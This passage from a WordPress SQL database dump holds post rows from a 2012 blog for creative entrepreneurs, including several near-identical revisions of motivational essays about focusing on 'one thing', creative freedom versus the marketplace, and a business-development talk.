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(1873, 2, '2012-01-17 12:56:15', '2012-01-17 19:56:15', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\r\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to a significant life is: one thing.</span></h1>\r\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\r\n\r\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\r\n\r\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\r\n\r\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\r\n\r\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\r\n\r\n<strong>Your one thing is your life’s great work.</strong>\r\n\r\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\r\n<h2>Make the decision to follow your heart because there is no better alternative.</h2>\r\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\r\n\r\n<strong>On the trail of discovery of your one thing.</strong>\r\n\r\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\r\n\r\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\r\n<h2>Here’s a hint–your one thing will involve your greater contribution to serve the good of others.</h2>\r\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\r\n\r\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\r\n\r\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\r\n\r\n<strong>Go ahead and put all your eggs in one basket.</strong>\r\n\r\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\r\n\r\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'inherit', 'open', 'open', '', '1869-revision-3', '', '', '2012-01-17 12:56:15', '2012-01-17 19:56:15', '', 1869, 'http://www.whitehotcenter.com/2012/01/1869-revision-3/', 0, 'revision', '', 0),
(1874, 2, '2012-01-17 13:01:45', '2012-01-17 20:01:45', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\r\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to a significant life is: one thing.</span></h1>\r\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\r\n\r\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\r\n\r\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\r\n\r\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\r\n\r\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\r\n\r\n<strong>Your one thing is your life’s great work.</strong>\r\n\r\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\r\n<h2>Make the decision to follow your heart because there is no better alternative.</h2>\r\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\r\n\r\n<strong>On the trail of discovery of your one thing.</strong>\r\n\r\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\r\n\r\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\r\n<h2>Here’s a hint–your one thing will involve your greater contribution to serve the good of others.</h2>\r\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\r\n\r\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\r\n\r\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\r\n\r\n<strong>Go ahead and put all your eggs in one basket.</strong>\r\n\r\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\r\n\r\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'inherit', 'open', 'open', '', '1869-revision-4', '', '', '2012-01-17 13:01:45', '2012-01-17 20:01:45', '', 1869, 'http://www.whitehotcenter.com/2012/01/1869-revision-4/', 0, 'revision', '', 0),
(1875, 2, '2012-01-17 13:01:56', '2012-01-17 20:01:56', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\r\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to a significant life is: one thing.</span></h1>\r\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\r\n\r\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\r\n\r\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\r\n\r\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\r\n\r\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\r\n\r\n<strong>Your one thing is your life’s great work.</strong>\r\n\r\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\r\n<h2>Make the decision to follow your heart because there is no better alternative.</h2>\r\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\r\n\r\n<strong>On the trail of discovery of your one thing.</strong>\r\n\r\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\r\n\r\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\r\n<h2>Here’s a hint–your one thing will involve your greater contribution to serve the good of others.</h2>\r\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\r\n\r\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\r\n\r\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\r\n\r\n<strong>Go ahead and put all your eggs in one basket.</strong>\r\n\r\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\r\n\r\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'inherit', 'open', 'open', '', '1869-revision-5', '', '', '2012-01-17 13:01:56', '2012-01-17 20:01:56', '', 1869, 'http://www.whitehotcenter.com/2012/01/1869-revision-5/', 0, 'revision', '', 0),
(1876, 2, '2012-01-17 13:02:54', '2012-01-17 20:02:54', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\r\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to creating a significant life is: one thing.</span></h1>\r\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\r\n\r\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\r\n\r\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\r\n\r\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\r\n\r\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\r\n\r\n<strong>Your one thing is your life’s great work.</strong>\r\n\r\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\r\n<h2>Make the decision to follow your heart because there is no better alternative.</h2>\r\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\r\n\r\n<strong>On the trail of discovery of your one thing.</strong>\r\n\r\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\r\n\r\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\r\n<h2>Here’s a hint–your one thing will involve your greater contribution to serve the good of others.</h2>\r\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\r\n\r\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\r\n\r\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\r\n\r\n<strong>Go ahead and put all your eggs in one basket.</strong>\r\n\r\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\r\n\r\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'inherit', 'open', 'open', '', '1869-revision-6', '', '', '2012-01-17 13:02:54', '2012-01-17 20:02:54', '', 1869, 'http://www.whitehotcenter.com/2012/01/1869-revision-6/', 0, 'revision', '', 0),
(1877, 2, '2012-01-17 13:03:04', '2012-01-17 20:03:04', '<img class="alignnone size-full wp-image-1870" title="curly" src="http://whc.fbdev.org/wp-content/uploads/2012/01/curly.jpg" alt="" width="495" height="368" />\r\n<h1><span style="color: #808080;">The world is moving and changing so fast, it’s nearly impossible for one mind to keep up. In a time of much confusion and disruption, the secret to creating a significant life is: one thing.</span></h1>\r\nI’m reminded of the pivotal scene in the movie “City Slickers” when cowboy Curly, holding up one finger, tells Billy Crystal’s dismayed character “Do you know what the secret to life is?”\r\n\r\nThe answer is one thing– nothing more, and that’s what you have to figure out. Take Curly’s advice. No sense burning daylight my friend.\r\n\r\nOne thing– you must focus all your unique talents, capabilities and resources on one thing.  Discovering your one thing and committing to pursuing it in the face of all difficulties and challenges is the measure of a life well lived. Your one thing is the only thing that will bring you life-long fulfillment, joy and satisfaction.\r\n\r\nFor many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction. They enjoy the diversity of doing it all. At the early stages of business success, it’s tempting to cover as much ground as you can in order to create as much opportunity as possible. But you won’t discover your great work attempting to be all things to all people. Nor will you be able to do it either.\r\n\r\nYou have to focus on one thing and get famous for it. So famous in fact, you’ll always have more opportunity than you have capacity. Build your personal brand around your one thing. When you do, opportunity will find you, not the other way around.\r\n\r\n<strong>Your one thing is your life’s great work.</strong>\r\n\r\nA house divided against itself cannot stand. This timeless expression of wisdom applies to your mental energies too. You can’t divide your attention, your time, and your money across a spectrum of activities and build the deep and narrow expertise that will define and distinguish your great work. You can’t be great at everything. Don’t even try.\r\n<h2>Make the decision to follow your heart because there is no better alternative.</h2>\r\nDoing your greatest work, making your significant contribution to the world requires the art of sacrifice. Once you free your mind from the temptation of chasing random opportunities, you’ll have the clarity and confidence to open up and trust your one thing.\r\n\r\n<strong>On the trail of discovery of your one thing.</strong>\r\n\r\nDiscovering your one thing is not an easy matter.  It’s not for city slickers – it’s rough, rugged and scary. You’ll have to be willing to venture far out into the rugged frontier of your own life without a map. And as you explore the trail, far past your own conventional wisdom, be patient. Your one thing will take it’s own sweet time revealing itself to you.\r\n\r\nAlong the way, you’ll face intense inner resistance. The discovery of your one thing will challenge you to elevate your own thinking, your beliefs, your associations, and the quality of your presence.\r\n<h2>Here’s a hint–your one thing will involve your greater contribution to serve the good of others.</h2>\r\nYour one thing will always involve your higher nature, your inherent talent and skills. It comes from within you, and you are a genius at doing it. No one else on the planet can do your one thing. The one thing will always require you to do what really matters to you.  Only then can you serve the good of others and fulfill your destiny.\r\n\r\nAs we like to say around here – your one thing is found at the white hot center of who you really are. Once discovered, you won’t want to do anything else. You won’t be able to do anything else.\r\n\r\nThat’s why the resistance is such an awesome clue for discovering your one thing. In every area of your life, if you are experiencing resistance, you’re going in the wrong direction. Turn around and go the other way.\r\n\r\n<strong>Go ahead and put all your eggs in one basket.</strong>\r\n\r\nWhatever it is–to discover your one thing, you have to be all in. You’ve heard the expression “99% is a bitch and 100% is a breeze”.  Once you make the irrevocable decision to follow your heart’s desire, the unseen forces will conspire to help you along the trail. But you have to be all in regardless. Nothing less will do.\r\n\r\n<strong>Think about it. What clues do you already have about your one thing?</strong>', 'All you have to do is one thing!', 0, '', 'inherit', 'open', 'open', '', '1869-revision-7', '', '', '2012-01-17 13:03:04', '2012-01-17 20:03:04', '', 1869, 'http://www.whitehotcenter.com/2012/01/1869-revision-7/', 0, 'revision', '', 0),
(1918, 2, '2012-02-06 18:52:25', '2012-02-07 01:52:25', '', 'the-beast', 0, '', 'inherit', 'open', 'open', '', 'the-beast', '', '', '2012-02-06 18:52:25', '2012-02-07 01:52:25', '', 1917, 'http://www.whitehotcenter.com/wp-content/uploads/2012/02/the-beast.jpg', 0, 'attachment', 'image/jpeg', 0),
(1917, 2, '2012-02-06 19:09:37', '2012-02-07 02:09:37', '<a href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank"><img class="alignnone size-full wp-image-1918" title="the-beast" src="http://whc.fbdev.org/wp-content/uploads/2012/02/the-beast.jpg" alt="" width="495" height="345" /></a>\r\n<h1><span style="color: #808080;">Creative people walk a fine line. That’s especially true for those creative people who are building businesses around their talent and their desire to create success doing what they love to do. The razors edge of creative freedom to do it your way and having the marketplace accept your work is a very fine line indeed.</span></h1>\r\nRecently my son Brad sent me a <a title="Steppenwolf Short" href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank">YouTube link </a>to a 1974 animated short film adapted from Nobel Laureate Hermann Hesse''s classic 1927 novel, "Steppenwolf." This is "The Tractate on the Steppenwolf", a description of the protagonist beautifully played by Max Von Sydow. This animation is by the artist Mati Klarwein, (who was also responsible for classic album covers for Miles Davis and Santana).  I encourage you to check it out. The text still stands the test of time, and beautifully supports the theme of this post.\r\n<h2><strong>There''s a fine line, a razors edge between the beast who craves the freedom of wild creative expression and the human who craves to fit into the marketplace at all costs. </strong></h2>\r\n<strong>The beast within.</strong>\r\nFor those who identify themselves as creatively and artistically expressive, the beast within is your inherent nature being an outlier- wildly expressing your passion, your fire, your untamed desire, your creativity and innovative thinking. According to Hesse’s classic, when the beast within is let out, the human part (marketplace) labels this passion “brute” and  “beast” and “spoils all pleasure in his happy and wild wolf’s being”.\r\n\r\nDo you tame your beast and conform to the “bourgeois” status quo marketplace?  Of course, the answer may lie in an endless search for balance between these two dynamic tensions. The balance however, can sometimes feel like the middle of the road. And nothing is more frustrating to your creative nature than clawing your way to the middle!\r\n\r\nI don’t believe you can build a business that will sustain your creative energies over the lifetime of your career unless you allow your beast its moments to run free. It’s easy to be frightened of the beast and settle for the voice of the marketplace. So many entrepreneurs in creative professions get comfortable way too soon.\r\n\r\nThe beast dies, then the fire goes out trapped in the belief the customer is always right and then take another order. All vanilla and routine.\r\n\r\n<strong>Throw away a thousand advantages to protect your liberty.</strong>\r\nFor those brave enough to let the beast run free, they will experience moments of happiness and satisfaction with such strength and conviction that “the momentary spray of their ecstasy is flung so high over the wide sea of suffering that the very light of it touches others with its enchantments”.\r\n<h2>Now that’s what I call competitive advantage!</h2>\r\nGo ahead take a walk on the wild side.', 'The razors edge: creative expression and marketplace success.', 0, '', 'publish', 'open', 'open', '', 'the-razors-edge-creative-expression-and-marketplace-success', '', '', '2012-02-06 19:09:37', '2012-02-07 02:09:37', '', 0, 'http://www.whitehotcenter.com/?p=1917', 0, 'post', '', 1),
(1880, 2, '2012-01-23 11:22:59', '2012-01-23 18:22:59', '<a title="Six Strategies for Creating Competitive Advantage in Your Creative Business." href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1889" title="Thomson Dawson Video" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson1.jpg" alt="" width="495" height="278" /></a>\r\n<h1><span style="color: #808080;">In an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. In the above video, you can learn some ideas useful for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'publish', 'open', 'open', '', 'ideas-for-creating-competitive-advantage-in-your-creative-business', '', '', '2012-01-23 11:22:59', '2012-01-23 18:22:59', '', 0, 'http://www.whitehotcenter.com/?p=1880', 0, 'post', '', 0),
(1881, 2, '2012-01-23 10:47:09', '2012-01-23 17:47:09', '<a href="http://youtu.be/ZhBhjF7ocW0">Six Strategies for Creating Competitive Advantage in Your Creative Business</a>\n\nIn an era of abundant choice, I''m delighted to share some ideas for creating competitive advantage in your creative business.\n\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\n\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can h\n\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision', '', '', '2012-01-23 10:47:09', '2012-01-23 17:47:09', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision/', 0, 'revision', '', 0),
(1882, 2, '2012-01-23 10:47:48', '2012-01-23 17:47:48', '<a href="http://youtu.be/ZhBhjF7ocW0">Six Strategies for Creating Competitive Advantage in Your Creative Business</a>\r\n\r\nIn an era of abundant choice, I''m delighted to share some ideas for creating competitive advantage in your creative business.\r\n\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-2', '', '', '2012-01-23 10:47:48', '2012-01-23 17:47:48', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-2/', 0, 'revision', '', 0),
(1883, 2, '2012-01-23 10:55:45', '2012-01-23 17:55:45', '', 'thomson dawson', 0, '', 'inherit', 'open', 'open', '', 'thomson-2', '', '', '2012-01-23 10:55:45', '2012-01-23 17:55:45', '', 1880, 'http://www.whitehotcenter.com/wp-content/uploads/2012/01/thomson.jpg', 0, 'attachment', 'image/jpeg', 0),
(1884, 2, '2012-01-23 10:50:42', '2012-01-23 17:50:42', '<a href="http://youtu.be/ZhBhjF7ocW0">Six Strategies for Creating Competitive Advantage in Your Creative Business</a>\n\nIn an era of abundant choice, I''m delighted to share some ideas for creating competitive advantage in your creative business.\n\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\n\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business.\n\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-3', '', '', '2012-01-23 10:50:42', '2012-01-23 17:50:42', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-3/', 0, 'revision', '', 0),
(1885, 2, '2012-01-23 10:56:25', '2012-01-23 17:56:25', '<a href="http://youtu.be/ZhBhjF7ocW0"><img class="alignnone size-full wp-image-1883" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson.jpg" alt="" width="495" height="278" /></a>\r\n\r\n<a href="http://youtu.be/ZhBhjF7ocW0">Six Strategies for Creating Competitive Advantage in Your Creative Business</a>\r\n\r\nIn an era of abundant choice, I''m delighted to share some ideas for creating competitive advantage in your creative business.\r\n\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-4', '', '', '2012-01-23 10:56:25', '2012-01-23 17:56:25', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-4/', 0, 'revision', '', 0),
(1886, 2, '2012-01-23 10:56:37', '2012-01-23 17:56:37', '<a href="http://youtu.be/ZhBhjF7ocW0"><img class="alignnone size-full wp-image-1883" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson.jpg" alt="" width="495" height="278" /></a>\r\n\r\n<a href="http://youtu.be/ZhBhjF7ocW0">Six Strategies for Creating Competitive Advantage in Your Creative Business</a>\r\n\r\nIn an era of abundant choice, I''m delighted to share some ideas for creating competitive advantage in your creative business.\r\n\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-5', '', '', '2012-01-23 10:56:37', '2012-01-23 17:56:37', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-5/', 0, 'revision', '', 0),
(1887, 2, '2012-01-23 11:05:16', '2012-01-23 18:05:16', '<a title="Thomson Dawson speaks to the AIGA Santa Barbara" href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1883" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2012/01/thomson.jpg" alt="" width="495" height="278" /></a>\r\n<h1>I<span style="color: #808080;">n an era of abundant choice, every entrepreneur must differentiate their value proposition from the slush pile of competitors. I''m delighted to share some ideas for creating competitive advantage in your creative business.</span></h1>\r\nBack in May 2011, I was invited to speak to the AIGA Santa Barbara Chapter on the subject of business development. The venue for the talk was a tasting room and wine cellar in dowtown Santa Barbara. The audience consisted of creative professionals from the Central Coast region of California, and included independent designers, advertising agency principals, web developers, writers, photographers and illustrators.\r\n\r\nI have been in the creative services business for nearly 30 years. I know first hand the business development challenges that face independent creative professionals. It''s a constant struggle to find clients, serve them well and get paid what you''re worth. In the video, I offer some advice and six strategies that can help you reframe your thinking about business development and creating the success you desire in business. You can also download my FREE booklet on the subject <a title="FREE Booklet" href="http://whc.fbdev.org/hot-info/" target="_blank">here</a>.\r\n\r\n&nbsp;', 'Ideas for Creating Competitive Advantage in Your Creative Business', 0, '', 'inherit', 'open', 'open', '', '1880-revision-6', '', '', '2012-01-23 11:05:16', '2012-01-23 18:05:16', '', 1880, 'http://www.whitehotcenter.com/2012/01/1880-revision-6/', 0, 'revision', '', 0),
